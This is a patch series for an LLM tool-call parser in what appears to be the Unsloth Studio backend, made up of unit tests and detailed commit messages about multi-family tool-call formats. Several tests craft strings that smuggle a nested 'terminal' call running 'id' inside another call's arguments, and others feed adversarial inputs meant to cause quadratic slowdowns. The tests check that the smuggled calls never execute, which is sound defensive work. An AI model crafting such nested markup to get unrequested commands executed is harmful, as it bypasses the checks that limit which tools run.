+    # Unclosed braces cover to EOF, so the trailing <function=> is excluded.
+    text = (
+        "<|tool_call>call:outer{code:<function=terminal>"
+        "<parameter=command>id</parameter></function>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_standalone_function_xml_still_parses():
+    text = "<function=terminal><parameter=command>id</parameter></function>"
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["terminal"], calls
+
+
+def test_xml_between_braces_and_close_marker_does_not_execute():
+    # Coverage runs to the close marker, so <function=> in the gap is data.
+    text = (
+        "<|tool_call>call:outer{broken:{x}}<function=terminal>"
+        "<parameter=command>id</parameter></function><tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_balanced_inner_call_inside_unclosed_outer_does_not_execute():
+    text = "<|tool_call>call:outer{code:<|tool_call>call:terminal{command:id}<tool_call|>"
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_strip_preserves_text_after_malformed_gemma_close():
+    # Junk before the close is a malformed span: strip through it, keep the tail.
+    text = "pre <|tool_call>call:t{a:1} note <tool_call|> post"
+    assert strip_tool_call_markup(text) == "pre  post"
+    assert strip_tool_call_markup(text, final = True) == "pre  post"
+
+
+def test_malformed_closed_gemma_span_is_stripped():
+    assert (
+        strip_tool_call_markup('before <|tool_call>{"name":"x"}<tool_call|> after')
+        == "before  after"
+    )
+
+
+def test_valid_call_after_missing_close_is_recovered():
+    # A close-less call covers only its braces, so the later call is recovered.
+    text = "<|tool_call>call:a{x:1} <|tool_call>call:b{y:2}<tool_call|>"
+    names_inc = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = True)
+    ]
+    assert "b" in names_inc, names_inc
+    names_strict = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False)
+    ]
+    assert names_strict == ["b"], names_strict
+
+
+def test_strip_non_final_keeps_incomplete_gemma_block():
+    text = "before <|tool_call>call:t{"
+    assert strip_tool_call_markup(text) == text
+    assert strip_tool_call_markup(text, final = True) == "before"
+
+
+def test_json_call_between_gemma_braces_and_close_does_not_execute():
+    # A JSON call between the outer's braces and its close is covered data.
+    text = (
+        "<|tool_call>call:outer{broken:{x}}"
+        '<tool_call>{"name":"terminal","arguments":{"command":"id"}}</tool_call>'
+        "<tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_gemma_call_between_gemma_braces_and_close_does_not_execute():
+    # Same escape with a Gemma-native inner marker.
+    text = "<|tool_call>call:outer{broken:{x}}<|tool_call>call:terminal{command:id}<tool_call|><tool_call|>"
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_strip_final_keeps_text_after_closed_xml_with_inner_gemma_opener():
+    # The to-EOF Gemma sweep must not eat visible text after </function>.
+    text = (
+        'before <function=python><parameter=code>print("<|tool_call>")</parameter></function> after'
+    )
+    assert strip_tool_call_markup(text, final = True) == "before  after"
+    assert strip_tool_call_markup(text) == "before  after"
+
+
+def test_strip_final_keeps_text_after_closed_block_with_call_form_gemma_opener():
+    # A call-form Gemma opener quoted in a closed block must not truncate it.
+    xml = "<function=python><parameter=code><|tool_call>call:t{</parameter></function>"
+    json_block = (
+        '<tool_call>{"name":"python","arguments":{"code":"<|tool_call>call:t{"}}</tool_call>'
+    )
+    for block in (xml, json_block):
+        text = "before " + block + " after"
+        assert strip_tool_call_markup(text, final = True) == "before  after", block
+        assert strip_tool_call_markup(text) == "before  after", block
+
+
+def test_function_sibling_after_close_less_gemma_marker_is_recovered():
+    # The close-less marker covers only its braces; the XML sibling is recovered.
+    text = (
+        "<|tool_call>call:bad{broken:{x}} "
+        "<function=terminal><parameter=command>id</parameter></function>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert [c["function"]["name"] for c in calls] == ["terminal"], calls
+
+
+def test_valid_call_after_close_less_marker_with_quoted_close_token_is_recovered():
+    # A close token quoted in the later call must not extend the earlier
+    # close-less marker's coverage over that call.
+    gemma = '<|tool_call>call:a{x:1} <|tool_call>call:b{note:<|"|></tool_call><|"|>}<tool_call|>'
+    names = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(gemma, allow_incomplete = False)
+    ]
+    assert names == ["b"], names
+    json_text = (
+        '<tool_call>{"name":"a","arguments":{}} '
+        '<tool_call>{"name":"b","arguments":{"x":"</tool_call>"}}</tool_call>'
+    )
+    names_j = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(json_text, allow_incomplete = False)
+    ]
+    assert "b" in names_j, names_j
+
+
 def test_gemma_parse_value_always_advances_on_stray_delimiter():
     # A stray delimiter (`,`, `}`, `]`) at the primitive position must still advance the
     # parser, or a looping caller spins forever (DoS).
diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py
index 7664126d91..fded2a8443 100644
--- a/studio/backend/tests/test_tool_call_parser_strict.py
+++ b/studio/backend/tests/test_tool_call_parser_strict.py
@@ -1063,3 +1063,44 @@ class TestBareJsonStripRequiresTopLevelName:
     def test_real_call_still_strips_name_agnostic(self):
         from core.inference.tool_call_parser import strip_leading_bare_json_call
         assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"q":"x"}}') == ""
+
+
+class TestGemmaAwareClosedBlockPrePass:
+    """The closed JSON/function strip pre-pass must not delete across a complete
+    Gemma span (a quoted <function=...> plus a later real </function>)."""
+
+    def test_literal_function_in_gemma_arg_with_later_real_call(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            'before <|tool_call>call:python{code:<|"|>print("<function=x>")<|"|>}'
+            "<tool_call|> <function=terminal><parameter=cmd>ls</parameter>"
+            "</function> after"
+        )
+        assert strip_tool_call_markup(text, final = True) == "before   after"
+
+    def test_literal_function_in_gemma_arg_with_prose_closer(self):
+        from core.tool_healing import strip_tool_call_markup
+
+        text = (
+            'before <|tool_call>call:python{code:<|"|>print("<function=x>")<|"|>}'
+            "<tool_call|> then use </function> to close. after"
+        )
+        out = strip_tool_call_markup(text, final = True)
+        assert out.startswith("before")
+        assert out.endswith("after")
+        assert "call:python" not in out
+
+    def test_gemma_opener_inside_json_arg_still_strips_block(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            '<tool_call>{"name":"t","arguments":{"code":"<|tool_call>call:x{"}}</tool_call> after'
+        )
+        assert strip_tool_call_markup(text, final = True) == "after"
+
+    def test_gemma_opener_inside_function_param_still_strips_block(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            '<function=python><parameter=code>x = "<|tool_call>call:t{"</parameter>'
+            "</function> after"
+        )
+        assert strip_tool_call_markup(text, final = True) == "after"
diff --git a/studio/backend/tests/test_tool_strip_guard.py b/studio/backend/tests/test_tool_strip_guard.py
new file mode 100644
index 0000000000..dfa3101882
--- /dev/null
+++ b/studio/backend/tests/test_tool_strip_guard.py
@@ -0,0 +1,76 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""strip_tool_patterns must match the plain per-pattern loop while skipping the
+quadratic no-match rescan of a closed-pair sweep whose close token is absent."""
+
+import random
+import sys
+import time
+from pathlib import Path
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+from core.tool_healing import (
+    _TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS,
+    strip_tool_call_markup,
+    strip_tool_patterns,
+)
+
+
+def _naive(text, patterns):
+    for pat in patterns:
+        text = pat.sub("", text)
+    return text
+
+
+_TOKENS = [
+    "<tool_call>",
+    "</tool_call>",
+    "<|tool_call>",
+    "<tool_call|>",
+    "<function=x>",
+    "<function=mcp__s__a-b>",
+    "</function>",
+    "<parameter=p>",
+    "</parameter>",
+    "call:fn{",
+    "}",
+    "{",
+    '<|"|>',
+    "A",
+    " ",
+    "\n",
+    "id",
+    "x:1",
+    "</tool",
+    "call>",
+]
+
+
+def test_guard_matches_plain_loop_on_fuzz():
+    rng = random.Random(1234)
+    for patterns in (_TOOL_ALL_PATS, _TOOL_CLOSED_PATS):
+        for _ in range(20000):
+            s = "".join(rng.choice(_TOKENS) for _ in range(rng.randint(0, 10)))
+            assert strip_tool_patterns(s, patterns) == _naive(s, patterns), (s, patterns)
+
+
+def test_strip_markup_representative_cases_unchanged():
+    assert strip_tool_call_markup("a <tool_call>{}</tool_call> b") == "a  b"
+    assert strip_tool_call_markup("a <function=x><parameter=p>1</parameter></function> b") == "a  b"
+    # Non-final keeps an unclosed block; final strips it to EOF.
+    assert strip_tool_call_markup("a <tool_call>{partial") == "a <tool_call>{partial"
+    assert strip_tool_call_markup("a <tool_call>{partial", final = True) == "a"
+
+
+def test_no_quadratic_blowup_on_unclosed_markers():
+    # Unguarded, this took minutes.
+    big = "<tool_call>" * 20000 + "<function=x>" * 20000
+    t0 = time.perf_counter()
+    out = strip_tool_call_markup(big, final = True)
+    assert time.perf_counter() - t0 < 2.0
+    assert out == ""

From c00c1e70c8a9f5a4cdbac61fc73b55e89c52be08 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 15:40:46 -0700
Subject: [PATCH 217/306] studio: tool calling for DeepSeek (R1/V3/V3.1), GLM
 4.x, Kimi K2 on safetensors + MLX (#5624)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* studio: tool calling for Llama-3, Mistral, Gemma 4 on safetensors + MLX (#5615)

Adds tool calling for Llama-3, Mistral (pre-v11 + v11+ + [ARGS]), and Gemma 4 to the safetensors / transformers and MLX backends. Parser patched against llama.cpp / vLLM / SGLang per-family parsers and normalises to OpenAI shape. 96 targeted unit tests + cross-OS staging CI (ubuntu / macos-14 / windows) green on the multi-format probe.

* studio: tool-call healing parity between safetensors / MLX and GGUF

After the multi-format parser landed in #5615, the safetensors / MLX
agentic loop and the GGUF loop still differed on healing behaviour.
This commit closes the gaps in both directions so the two backends
react the same way to identical model output.

Changes:

1. core/inference/llama_cpp.py -- the GGUF BUFFERING state machine
   now wakes on every emission marker the shared parser knows. Was
   ("<tool_call>", "<function="); is now the five-tuple imported
   from core.inference.tool_call_parser (Qwen / Qwen3.5 / Llama-3
   <|python_tag|> / Mistral [TOOL_CALLS] / Gemma 4 <|tool_call>).
   Stream cleanup is delegated to the same shared strip_tool_markup
   so leaked markup from any family is removed from assistant
   content.

2. core/inference/llama_cpp.py -- per-tool canonical heal key. When
   a tool arguments field is a bare string and JSON parsing fails,
   the GGUF path now heals to {"code": raw_args} for python,
   {"command": raw_args} for terminal, and {"query": raw_args} for
   everything else. Was hard-coded to {"query": raw_args}, which
   silently routed every python / terminal emission through
   web_search. Mirrors safetensors_agentic._CANONICAL_HEAL_ARG.

3. core/inference/safetensors_agentic.py -- re-prompt on plan-
   without-action. When the model emits a short forward-looking
   intent ("I'll search for that", "Let me check", "First, I
   will...") and no tool call, the loop nudges the model to act
   instead of silently returning a plan-only answer. Up to
   _MAX_REPROMPTS=3 (matches GGUF). The intent regex, character
   cap, and instruction text are byte-identical to the GGUF path.
   The buffer-end fall-through is unified so a buffered intent
   emission that never exits the BUFFERING state still triggers
   the re-prompt.

4. core/inference/safetensors_agentic.py -- extra iteration slots
   for re-prompts. The loop now budgets max_tool_iterations +
   _MAX_REPROMPTS + 1 total iterations and tracks the tool-call
   count separately, so a stalling model can be nudged 3x without
   eating the caller's tool-call budget. Mirrors the _extra slot
   reservation in the GGUF path.

Tests (14 new safetensors-side units; 5 GGUF parity pins):

  TestLoopRePrompt                 -- intent-trigger, plain-answer,
                                      no-tools, cap-at-three, budget
                                      preserved, buffer-end intent.
  TestLoopCanonicalHealKey         -- python / terminal / unknown.
  TestGGUFSafetensorsHealingParity -- shared markers used, shared
                                      strip used, canonical heal keys
                                      identical, intent regex matches
                                      same phrases, _MAX_REPROMPTS
                                      equal on both backends.

All 110 targeted tests pass locally; the broader tool / inference /
model-config / sandbox / anthropic / mlx suites stay green.

Why this matters

Without this parity, Llama-3.2 / Mistral / Gemma 4 emissions on Mac
(MLX) and Linux-safetensors stop the agentic loop as soon as the
model says "Let me...", because the GGUF re-prompt logic never
existed on these backends. The two-marker GGUF BUFFERING tuple also
let non-Qwen tool emissions stream out as plain prose when
llama-server's structured channel did not pick them up. Both paths
now drain the same way, heal the same way, and re-prompt the same
way -- so a tool call that works on GGUF works identically on
safetensors / MLX.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: fix tool-call parser bugs from gemini review on #5620

Three high-priority gemini findings on the tool-call parsing additions:

  1. unicode_escape on UTF-8 bytes corrupts non-ASCII literals
     (e.g. ✨ becomes â\x9c¨). Replace with json.loads on a quoted
     string -- preserves emoji / CJK / RTL while still handling
     \n \t \uXXXX escapes.

  2. Llama-3 sentinel stripping is order-dependent. A leading
     `<|eot_id|><|begin_of_text|>` left `<|begin_of_text|>` behind
     because the loop had already passed that sentinel. Loop until
     no sentinel matches at the start.

  3. Mistral v11+ `[TOOL_CALLS] name { json }` regex uses non-greedy
     `\{.*?\}` which truncates at the first `}` of a nested JSON
     argument, leaking the tail (e.g. `}}`) into user-visible
     streamed text. Same problem for the v0.3 array pattern with
     nested brackets. Strip those with balanced brace/bracket
     scanning via a new `_strip_mistral_closed_calls` helper called
     from `strip_tool_markup`.

Also fix the inference routes' parallel `_TOOL_XML_RE`:

  - Same nested-JSON truncation in the Mistral patterns; route the
    strip through the parser's balanced-scan helper via a thin
    `_strip_tool_xml` wrapper that all existing callers now use.
  - Llama-3 `<|python_tag|>[^\n<]*` stopped at any `<`, leaking the
    tail of any tool call whose argument contained a literal `<`
    (queries, code snippets). Relax to `[^\n]*` which keeps the
    strip confined to the actual end-of-line.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: tool calling for DeepSeek (R1/V3/V3.1), GLM 4.x, Kimi K2

Adds three more emission-family parsers to tool_call_parser.py so the
shared safetensors / MLX / GGUF agentic loop covers the major open-
weight reasoning families. Patterns ported from llama.cpp
(common/chat-parser.cpp legacy pre-PEG branch), vLLM
(tool_parsers/deepseekv3*, glm4_moe, kimi_k2), and SGLang
(function_call/deepseekv31_detector, glm4_moe_detector, kimik2_detector).
All three references are MIT (llama.cpp) or Apache-2.0 (vLLM, SGLang).

Formats covered:

  DeepSeek R1     <｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function
                  <｜tool▁sep｜>NAME\n```json\n{...}\n```<｜tool▁call▁end｜>
                  <｜tool▁calls▁end｜>
                  -- args wrapped in a Markdown json fence, ``function``
                  literal prefix per llama.cpp common_chat_parse_
                  deepseek_r1 (chat-parser.cpp:801-820)

  DeepSeek V3/V3.1
                  <｜tool▁calls▁begin｜><｜tool▁call▁begin｜>NAME
                  <｜tool▁sep｜>{json}<｜tool▁call▁end｜><｜tool▁calls▁end｜>
                  -- bare JSON, no code fence, no ``function`` prefix
                  per llama.cpp common_chat_parse_deepseek_v3_1
                  (chat-parser.cpp:822-879)

  GLM 4.5/4.6/4.7 <tool_call>NAME\n<arg_key>k1</arg_key>
                  \n<arg_value>v1</arg_value>...</tool_call>
                  -- strings raw, non-strings JSON-encoded per
                  chat_template.jinja; multi-call is back-to-back
                  blocks. Per llama.cpp common_chat_parse_glm_4_5
                  (chat-parser.cpp:1040-1052)

  Kimi K2         <|tool_calls_section_begin|><|tool_call_begin|>
                  functions.NAME:IDX<|tool_call_argument_begin|>{json}
                  <|tool_call_end|><|tool_calls_section_end|>
                  -- bare name recovered by stripping ``functions.``
                  prefix and ``:IDX`` suffix; full id preserved as
                  tool_calls[i].id so the roundtrip replays verbatim.
                  Per llama.cpp common_chat_parse_kimi_k2
                  (chat-parser.cpp:896-913)

Marker collisions

GLM uses the same ``<tool_call>`` opener as Qwen but with a bare
function name + ``<arg_key>`` body (Qwen has ``\s*{`` after the tag).
The dispatch keeps Qwen first; Qwen's _TC_JSON_START_RE returns no
matches on a GLM emission, so the fall-through to _parse_glm_tool_
calls handles it correctly. Existing Qwen tests confirm zero
regression.

Streaming buffer

TOOL_XML_SIGNALS extended from 5 markers to 12 so the BUFFERING state
machine wakes on every new family's section opener. Added the
DeepSeek alternative markers (ASCII underscores, short ``<｜tool▁calls｜>``
form) because real checkpoints emit those variants.

Strip patterns

_TOOL_CLOSED_PATS adds DeepSeek envelope (``<｜tool▁calls▁begin｜>...
<｜tool▁calls▁end｜>``) and Kimi section (``<|tool_calls_section_begin|>
...<|tool_calls_section_end|>``). _TOOL_ALL_PATS adds the same plus
the unclosed-tail variants so a truncated stream does not leak
markup.

Route gate

_detect_safetensors_features._PARSER_MARKERS grows to include
DeepSeek and Kimi markers plus ``<arg_key>`` (the unique GLM signal).
_TOOL_XML_RE (the route-layer markup-strip regex) gets DeepSeek and
Kimi closed-pair patterns. _TOOL_TEMPLATE_MARKERS in llama_cpp.py
adds ``message['role'] == 'tool'``, ``message['tool_calls']``, and
``tool_calls is defined`` so the classifier recognises DeepSeek's
subscripted-access template style (it has no top-level
``{% if tools %}`` block).

Tests (39 new):

  TestParserDeepSeek  (7) -- R1 fence, short-form opener, V3.1 bare,
                             multi-call, with-reasoning, strip,
                             signal-wakes-streaming
  TestParserGLM       (6) -- single, mixed types, multi-call,
                             unclosed-heal, no-Qwen-regression, strip
  TestParserKimi      (6) -- single, multi-call, dotted-name, unclosed,
                             strip, signal-wakes-streaming
  TestParserCrossFormatRouting (2) -- dispatch routing, signal coverage
  TestLoopBasic loop integration (3) -- DeepSeek / GLM / Kimi end-to-end
  Capability advertise (3) -- DeepSeek / GLM / Kimi templates flip
                             supports_tools=True

All 398 targeted tests pass locally (115 safetensors + 27 capability
+ rest of tool / inference / sandbox / model-config suites). Builds
on PR #5620 (parser + healing parity for Llama-3 / Mistral / Gemma 4);
will rebase cleanly onto main once #5620 lands. PR opened as draft -
do not merge until validated against real models for each family.

Sources

- llama.cpp common/chat-parser.cpp lines 801-913, 1040-1052 (MIT)
- vLLM vllm/tool_parsers/deepseekv31_tool_parser.py (Apache-2.0)
- vLLM vllm/tool_parsers/glm4_moe_tool_parser.py (Apache-2.0)
- vLLM vllm/tool_parsers/kimi_k2_tool_parser.py (Apache-2.0)
- SGLang python/sglang/srt/function_call/{deepseekv31,glm4_moe,kimik2}_
  detector.py (Apache-2.0)
- Live chat templates: deepseek-ai/DeepSeek-V3.1, zai-org/GLM-4.6,
  moonshotai/Kimi-K2-Instruct, unsloth/DeepSeek-V3-0324,
  unsloth/GLM-4.5-Air, unsloth/Kimi-K2-Instruct

* studio/routes: make python_tag strip multi-line aware

Earlier revisions of _TOOL_XML_RE in studio.backend.routes.inference
oscillated between two bug shapes:

  5615    r"<\|python_tag\|>[^\n<]*"   -- stopped at any literal "<"
                                         so code='if x < 10: pass'
                                         leaked '< 10: pass)' to the
                                         user.
  5620.1  r"<\|python_tag\|>[^\n]*"    -- single-line only; the second
                                         line of
                                         python.call(code="a\nb")
                                         leaked.

The full parser (_parse_llama3_python_tag) already handles both via
balanced-brace scanning, so the parsing path was fine; the LEAK was
in the streaming strip path that runs on every cumulative emission
while content is still arriving.

Switch to r"<\|python_tag\|>(?:[^<]|<(?!\|))*" so the strip consumes:

  * any character that is not a "<" (newlines, JSON, code, ...),
  * a "<" only when it is NOT followed by "|" (i.e. NOT a Llama-3
    sentinel start like <|eot_id|>, <|eom_id|>, <|begin_of_text|>).

This means:

  * code='if x < 10' stays inside the strip (5615 fix preserved),
  * multi-line code stays inside the strip (5620 round 2),
  * the strip terminates at the next Llama-3 sentinel so trailing
    assistant content survives.

Tests: TestRoutesPythonTagStrip (8 cases)
  pytest test_safetensors_tool_loop.py test_safetensors_capability_advertise.py
    -> 118 passed in 1.81s (was 110).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: review follow-ups for DeepSeek / GLM / Kimi tool calling

Four fixes addressing review of the parent commit:

1. GLM <arg_value> coercion: tighten the
   json.loads -> ast.literal_eval -> raw cascade to only deserialize
   when the body unambiguously looks like a JSON literal (object,
   array, JSON-encoded string, true/false/null, or numeric). Strings
   like ``True`` / ``None`` (Python literals, not JSON) and arbitrary
   prose now stay raw. The bare-numeric / bare-boolean ambiguity with
   string args remains an inherent limitation of the template without
   schema access -- documented in the new comment. Drops the ast
   import entirely (closes Gemini's :1036 suggestion).

2. Kimi K2 bare-counter ids (e.g. ``<|tool_call_begin|>3``) are now
   dropped rather than surfaced as a tool literally named "3". Matches
   vLLM behaviour; SGLang's schema-infer fallback is out of scope at
   the parse site. Real Kimi K2 emissions use ``functions.NAME:IDX``
   so this is the exception path.

3. Restore the elaborate ``<|python_tag|>(?:[^<]|<(?!\|))*`` clause in
   routes.inference._TOOL_XML_RE -- the simpler ``[^\n<]*`` form
   regressed PR #5620's multi-line / literal-``<`` python_tag fix.
   Restore ``TestRoutesPythonTagStrip`` (8 tests) adapted to call
   ``_TOOL_XML_RE.sub`` directly since the ``_strip_tool_xml`` helper
   was inlined this PR.

4. Add the spaced and backslash-escaped DeepSeek opener variants
   (``<｜tool calls begin｜>``, ``<｜tool\_calls\_begin｜>``) to
   ``TOOL_XML_SIGNALS`` for streaming-gate parity with
   ``_DEEPSEEK_BEGIN_RE``.

Also updates the llama.cpp / vLLM citations in the parser docstrings:
``common/chat-parser.cpp`` was split into ``common/chat.cpp`` +
``common/chat-peg-parser.cpp`` by llama.cpp PR #18675, and vLLM
moved the tool parsers from ``vllm/entrypoints/openai/tool_parsers/``
to ``vllm/tool_parsers/``. Pin to pre-refactor commit ``51fa458a92d6``
where the cited line numbers still resolve.

New regression tests in ``test_pr5624_regressions.py`` cover the GLM
coercion heuristic shapes, GLM literal-``<`` in arg_value, Kimi K2
dotted name, Kimi K2 bare-counter drop, DeepSeek V3.1 truncated
mid-stream, and routes-layer strip across all three new families.

Tests:
  pytest studio/backend/tests/test_safetensors_tool_loop.py
         studio/backend/tests/test_safetensors_capability_advertise.py
         studio/backend/tests/test_pr5624_regressions.py -q
  -> 170 passed in 1.91s

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: tighten verbose comments in tool-call parser sections

Comments were narrating what the code already says. Cut historical
"earlier revisions used X, then Y" narratives down to one-line WHY
notes where the footgun still matters (canonical heal-key parity,
balanced-brace vs non-greedy regex, ``(?:[^<]|<(?!\|))*`` over
``[^\n<]*``/``[^\n]*``). Drop section-header banners.

No behaviour change. Re-ran:
  pytest studio/backend/tests/test_safetensors_tool_loop.py \
         studio/backend/tests/test_safetensors_capability_advertise.py -q
  -> 118 passed.
Regression replay (parser + _coerce_arguments on the 5 #5615 inputs)
  -> 21/21.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: GLM 4.7 no-newline emission + Kimi multi-section parity

Two fixes surfaced by triple-confirm verification against the live
HF chat templates and upstream llama.cpp / vLLM / SGLang parsers.

1. GLM 4.7 silent drop
   ``zai-org/GLM-4.7/chat_template.jinja`` line 65 uses
   ``{{- '<tool_call>' + tc.name -}}`` which Jinja strips trailing
   whitespace from, so the first ``<arg_key>`` follows the function
   name with NO ``\n`` between them. Real emissions look like
   ``<tool_call>get_weather<arg_key>city</arg_key><arg_value>London
   </arg_value></tool_call>``. The previous ``_GLM_TC_OPEN_RE`` ended
   the name with ``\n`` so GLM-4.7 calls were silently dropped
   (parser returned ``[]``).

   Fix: relax the name terminator to a lookahead that accepts EITHER
   ``\n`` OR the next ``<arg_key>``:
       _GLM_TC_OPEN_RE = re.compile(
           r"<tool_call>\s*([^\n<{][^\n<]*?)\s*(?=\n|<arg_key>)"
       )
   The first-char restriction ``[^\n<{]`` still excludes Qwen's
   ``<tool_call>{json}`` form so the Qwen-vs-GLM dispatch remains
   mutually exclusive.

2. Kimi multi-section parity with vLLM / SGLang
   ``vllm/tool_parsers/kimi_k2_tool_parser.py`` and SGLang's
   ``kimik2_detector.py`` both use ``re.findall`` and so collect every
   ``<|tool_calls_section_begin|>...<|tool_calls_section_end|>`` block
   in a single stream. The previous implementation stopped at the
   first ``<|tool_calls_section_end|>``. Kimi K2 doesn't emit
   multi-section in practice, but parity is cheap.

   Fix: wrap the existing per-call body parser in an outer loop that
   advances past each ``<|tool_calls_section_end|>`` and continues to
   the next ``<|tool_calls_section_begin|>``. Body parsing extracted
   to ``_parse_kimi_section_body`` for clarity. Truncated final
   section is still surfaced via the existing in-body balanced-brace
   walk.

Verified independently against the live HF templates:
* GLM-4.7 emission constructed from the live template parses to the
  expected ``{name, arguments}`` shape.
* GLM-4.5 / 4.6 newline shape continues to parse (the lookahead also
  matches ``\n``).
* Qwen ``<tool_call>{json}`` still dispatches to the Qwen path -- the
  first-char restriction stops the GLM regex from biting JSON bodies.
* Kimi two-section stream surfaces both calls in order with full ids
  preserved.
* Bare-counter Kimi ids still drop.

Tests added in ``test_pr5624_regressions.py``:
* ``test_glm_4_7_no_newlines_between_name_and_arg_key``
* ``test_glm_4_7_no_newlines_multi_call``
* ``test_glm_4_7_does_not_break_qwen_path``
* ``test_kimi_two_sections_in_one_stream_both_parse``

  pytest studio/backend/tests/test_safetensors_tool_loop.py
         studio/backend/tests/test_safetensors_capability_advertise.py
         studio/backend/tests/test_pr5624_regressions.py -q
  -> 174 passed in 1.93s

  pytest studio/backend/tests/ -q -k 'not gpu and not llama_cpp_integration'
  -> 2038 passed, 15 failed (pre-existing CI gaps).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: parser robustness fixes for PR #5620

Three surgical extensions to the multi-format tool-call parser, each
covering a real fine-tune / template emission shape that the current
parser silently drops. No path narrows; all changes widen what is
accepted.

1. `_parse_tool_call_json` now accepts both `arguments` and
   `parameters` keys. A Hermes / Qwen `<tool_call>{json}</tool_call>`
   wrapper around a Llama-3.2 fine-tune that emits the `parameters`
   key was extracting the tool name and silently discarding the
   args, producing a working-shaped call with an empty payload. The
   bare-JSON and python_tag paths already accepted both keys; this
   path now matches them.

2. `_TC_FUNC_START_RE`, `_TC_PARAM_START_RE`, and `_TC_PARAM_CLOSE_RE`
   now also match the attribute form
   `<function name="..."><param name="...">v</param></function>` used
   by MiniCPM-5 and MiniMax-M2. Names land in either capture group,
   and `</param>` is accepted as a short close.

3. `_parse_llama3_bare_json` sentinel-strip now consumes the role
   label inserted between `<|start_header_id|>` and
   `<|end_header_id|>` by Meta's official Llama-3.x chat template.
   Without this, every assistant turn re-fed through the template
   prefix `<|start_header_id|>assistant<|end_header_id|>\n\n{json}`
   parsed to zero calls, so any history-with-tool-call round-trip
   in production silently dropped.

Tests in `studio/backend/tests/test_safetensors_tool_loop.py`:

* `TestParserRobustness::test_tool_call_json_accepts_parameters_key`
* `TestParserRobustness::test_function_xml_attribute_form`
* `TestParserRobustness::test_function_xml_attribute_form_multi_param`
* `TestParserRobustness::test_function_xml_legacy_equals_form_still_works`
  (regression guard for the existing `<function=name>` syntax)
* `TestParserRobustness::test_llama3_chat_template_round_trip`
* `TestParserRobustness::test_llama3_round_trip_all_roles`
* `TestParserRobustness::test_llama3_round_trip_with_eot_prefix`

`pytest studio/backend/tests/test_safetensors_tool_loop.py
        studio/backend/tests/test_safetensors_capability_advertise.py -q`
goes from 118 to 125 passed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim verbose comments in tool-call parser sections for PR #5624

Pure comment / docstring tightening on top of the GLM 4.7 + Kimi
multi-section fixes. No behavioural change.

* Drop multi-paragraph prelude and post-refactor citation chatter in
  the DeepSeek, GLM and Kimi parser docstrings; keep the shape and
  upstream-commit pin.
* Collapse ``parse_tool_calls_from_text``'s 9 per-family blocks into
  a single ordered loop with one combined comment.
* Tighten the GLM coercion, Kimi bare-counter and ``_TOOL_XML_RE``
  comments to one or two lines each.
* Same trim pass on ``_PARSER_MARKERS`` and the regression-test
  docstrings.

Tests:
  pytest studio/backend/tests/test_safetensors_tool_loop.py
         studio/backend/tests/test_safetensors_capability_advertise.py
         studio/backend/tests/test_pr5624_regressions.py -q
  -> 174 passed in 2.00s

* Fix O(N^2) DeepSeek V3.1 backtracking for PR #5624

Adversarial input ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>fn<｜tool▁sep｜>``
followed by a long body that does NOT contain a closing brace caused
the V3 path's ``([^\n<]+?)<｜tool▁sep｜>`` regex to backtrack
quadratically: at each position the lazy quantifier extends one char
at a time looking for a sep that isn't there, taking ~19s on 50k
chars.

Replace the regex search with ``str.find`` on the sep marker plus a
left-walk to recover the name. ``str.find`` is O(N); the walk stops
on ``\n`` (turn boundary), ``<`` (start of a tag), or ``>`` (end of
an optional ``<｜tool▁call▁begin｜>`` prefix). Same observable
behaviour as the regex on every canonical input.

Tests:
  test_deepseek_v3_1_huge_truncated_body_is_linear (new) -- 50k chars
  must parse in &lt; 1s.
